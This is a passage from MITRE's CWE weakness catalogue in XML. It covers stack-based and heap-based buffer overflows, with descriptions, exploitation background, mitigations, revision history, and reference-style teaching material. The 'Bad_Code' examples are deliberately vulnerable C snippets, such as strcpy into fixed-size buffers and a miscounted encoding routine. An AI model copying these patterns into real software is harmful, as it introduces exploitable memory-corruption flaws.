					          <Modification_Comment>updated Alternate_Terms, Description, Name, Other_Notes,
						Terminology_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Other_Notes,
						Potential_Mitigations, References, Relationship_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Detection_Factors, Potential_Mitigations,
						References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings,
						Time_of_Introduction, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-10-14">Unbounded Transfer ('Classic
						Buffer Overflow')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="121" Name="Stack-based Buffer Overflow" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A stack-based buffer overflow condition is a condition where
					the buffer being overwritten is allocated on the stack (i.e., is a local
					variable or, rarely, a parameter to a function).</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>788</Relationship_Target_ID>
					          <!--Access of Memory Location After End of Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>787</Relationship_Target_ID>
					          <!--Out-of-bounds Write-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>There are generally several security-critical data on an execution stack
						that can lead to arbitrary code execution. The most prominent is the stored
						return address, the memory address at which execution should continue once
						the current function is finished executing. The attacker can overwrite this
						value with some memory address to which the attacker also has write access,
						into which he places arbitrary code to be run with the full privileges of
						the vulnerable program. Alternately, the attacker can supply the address of
						an important call, for instance the POSIX system() call, leaving arguments
						to the call on the stack. This is often called a return into libc exploit,
						since the attacker generally forces the program to jump at return time into
						an interesting routine in the C standard library (libc). Other important
						data commonly on the stack include the stack pointer and frame pointer, two
						values that indicate offsets for computing memory addresses. Modifying those
						values can often be leveraged into a "write-what-where" condition.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Other_Notes>
				        <Note>
					          <Text>Stack-based buffer overflows can instantiate in return address overwrites,
						stack pointer overwrites or frame pointer overwrites. They can also be
						considered function pointer overwrites, array indexer overwrites or
						write-what-where condition, etc.</Text>
				        </Note>
			      </Other_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Stack Overflow</Term>
					          <Alternate_Term_Description>
						            <Text>"Stack Overflow" is often used to mean the same thing as stack-based
							buffer overflow, however it is also used on occasion to mean stack
							exhaustion, usually a result from an excessively recursive function
							call. Due to the ambiguity of the term, use of stack overflow to
							describe either circumstance is discouraged.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows generally lead to crashes. Other attacks leading to
							lack of availability are possible, including putting the program into an
							infinite loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows often can be used to execute arbitrary code, which is
							usually outside the scope of a program's implicit security
							policy.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When the consequence is arbitrary code execution, this can often be
							used to subvert any other security service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-10">
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run or compile the software using features or extensions that
							automatically provide a protection mechanism that mitigates or
							eliminates buffer overflows.</Text>
						            <Text>For example, certain compilers and extensions provide automatic buffer
							overflow detection mechanisms that are built into the compiled code.
							Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat
							FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>This is not necessarily a complete solution, since these mechanisms
							can only detect certain types of overflows. In addition, an attack could
							still cause a denial of service, since the typical response is to exit
							the application.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an abstraction library to abstract away risky APIs. Not a complete
							solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Build and Compilation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Compiler-based canary mechanisms such as StackGuard, ProPolice and the
							Microsoft Visual Studio /GS flag. Unless this provides automatic bounds
							checking, it is not a complete solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement and perform bounds checking on input.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not use dangerous functions such as gets. Use safer, equivalent
							functions which check for boundary errors.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use OS-level preventative functionality, such as ASLR. This is not a
							complete solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-89">
					          <Intro_Text>While buffer overflow examples can be rather complex, it is possible
						to have very simple, yet still exploitable, stack-based buffer
						overflows:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define BUFSIZE 256</Code>
							              <Code>int main(int argc, char **argv) {</Code>
							              <Block>
								                <Code>char buf[BUFSIZE];</Code>
								                <Code>strcpy(buf, argv[1]);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> The buffer size is fixed, but there is no guarantee the string in
							argv[1] will not exceed this size and cause an overflow. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-1">
					          <Intro_Text>This example takes an IP address from a user, verifies that it is
						well formed and then looks up the hostname and copies it into a
						buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void host_lookup(char *user_supplied_addr){</Code>
							              <Block>
								                <Code>struct hostent *hp;</Code>
								                <Code>in_addr_t *addr;</Code>
								                <Code>char hostname[64];</Code>
								                <Code>in_addr_t inet_addr(const char *cp);</Code>
								                <Code/>
								                <Comment>/*routine that ensures user_supplied_addr is in the right
									format for conversion */</Comment>
								                <Code>validate_addr_form(user_supplied_addr);</Code>
								                <Code>addr = inet_addr(user_supplied_addr);</Code>
								                <Code>hp = gethostbyaddr( addr, sizeof(struct in_addr),
									AF_INET);</Code>
								                <Code>strcpy(hostname, hp-&gt;h_name);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This function allocates a buffer of 64 bytes to store the hostname,
							however there is no guarantee that the hostname will not be larger than
							64 bytes. If an attacker specifies an address which resolves to a very
							large hostname, then we may overwrite sensitive data or even relinquish
							control flow to the attacker.</Text>
						            <Text>Note that this example also contains an unchecked return value
							(CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 5, "Stack Overruns" Page 129</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 5: Buffer Overruns." Page 89</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "Nonexecutable Stack", Page
						76.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 5, "Protection Mechanisms", Page
						189.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Stack overflow</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A stack-based buffer overflow is a weakness where the code path includes a
						buffer write operation such that:</Text>
					          <Block>
						            <Text>1. stack allocation of a buffer</Text>
						            <Text>2. data is written to the buffer where</Text>
						            <Text>3. the expected size of the buffer is greater than the actual size of
							the buffer where</Text>
						            <Block>
							              <Text>expected size is equal to size of data added to position from
								which writing operation starts</Text>
						            </Block>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Background_Details, Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="122" Name="Heap-based Buffer Overflow" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A heap overflow condition is a buffer overflow, where the
					buffer that can be overwritten is allocated in the heap portion of memory,
					generally meaning that the buffer was allocated using a routine such as
					malloc().</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>788</Relationship_Target_ID>
					          <!--Access of Memory Location After End of Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>787</Relationship_Target_ID>
					          <!--Out-of-bounds Write-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>633</Relationship_Target_ID>
					          <!--Weaknesses that Affect Memory-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>890</Relationship_Target_ID>
					          <!--SFP Cluster: Memory Access-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Heap-based buffer overflows are usually just as dangerous as stack-based
						buffer overflows.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows generally lead to crashes. Other attacks leading to
							lack of availability are possible, including putting the program into an
							infinite loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Buffer overflows often can be used to execute arbitrary code, which is
							usually outside the scope of a program's implicit security
							policy.</Text>
						            <Text>Besides important user data, heap-based overflows can be used to
							overwrite function pointers that may be living in memory, pointing it to
							the attacker's code. Even in applications that do not explicitly use
							function pointers, the run-time will usually leave many in memory. For
							example, object methods in C++ are generally implemented using function
							pointers. Even in C programs, there is often a global offset table used
							by the underlying runtime.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When the consequence is arbitrary code execution, this can often be
							used to subvert any other security service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Pre-design: Use a language or compiler that performs automatic bounds
							checking.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an abstraction library to abstract away risky APIs. Not a complete
							solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Pre-design through Build: Canary style bounds checking, library
							changes which ensure the validity of chunk data, and other such fixes
							are possible, but should not be relied upon.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Implement and perform bounds checking on input.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Do not use dangerous functions such as gets. Look for their safe
							equivalent, which checks for the boundary.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Operational: Use OS-level preventative functionality. This is not a
							complete solution, but it provides some defense in depth.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>While buffer overflow examples can be rather complex, it is possible
						to have very simple, yet still exploitable, heap-based buffer
						overflows:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define BUFSIZE 256</Code>
							              <Code>int main(int argc, char **argv) {</Code>
							              <Block>
								                <Code>char *buf;</Code>
								                <Code>buf = (char *)malloc(sizeof(char)*BUFSIZE);</Code>
								                <Code>strcpy(buf, argv[1]);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> The buffer is allocated heap memory with a fixed size, but there is 
							no guarantee the string in argv[1] will not exceed this size and 
							cause an overflow. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-19">
					          <Intro_Text>This example applies an encoding procedure to an input string and
						stores it into a buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char * copy_input(char *user_supplied_string){</Code>
							              <Block Block_Nature="Bad_Code">
								                <Code>int i, dst_index;</Code>
								                <Code>char *dst_buf = (char*)malloc(4*sizeof(char) *
									MAX_SIZE);</Code>
								                <Code>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){</Code>
								                <Block>
									                  <Code>die("user string too long, die evil hacker!");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>dst_index = 0;</Code>
								                <Code>for ( i = 0; i &lt; strlen; i++ ){</Code>
								                <Block>
									                  <Code>if( '&amp;' == user_supplied_string[i] ){</Code>
									                  <Block>
										                    <Code>dst_buf[dst_index++] = '&amp;';</Code>
										                    <Code>dst_buf[dst_index++] = 'a';</Code>
										                    <Code>dst_buf[dst_index++] = 'm';</Code>
										                    <Code>dst_buf[dst_index++] = 'p';</Code>
										                    <Code>dst_buf[dst_index++] = ';';</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else if ('&lt;' == user_supplied_string[i] ){</Code>
									                  <Block>
										                    <Comment>/* encode to &amp;lt; */</Comment>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else dst_buf[dst_index++] =
										user_supplied_string[i];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return dst_buf;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer attempts to encode the ampersand character in the
							user-controlled string, however the length of the string is validated
							before the encoding procedure is applied. Furthermore, the programmer
							assumes encoding expansion will only expand a given character by a
							factor of 4, while the encoding of the ampersand expands by 5. As a
							result, when the encoding procedure expands the string it is possible to
							overflow the destination buffer if the attacker provides a string of
							many ampersands.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4268</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: integer signedness passes signed
						comparison, leads to heap overflow</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>Memory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
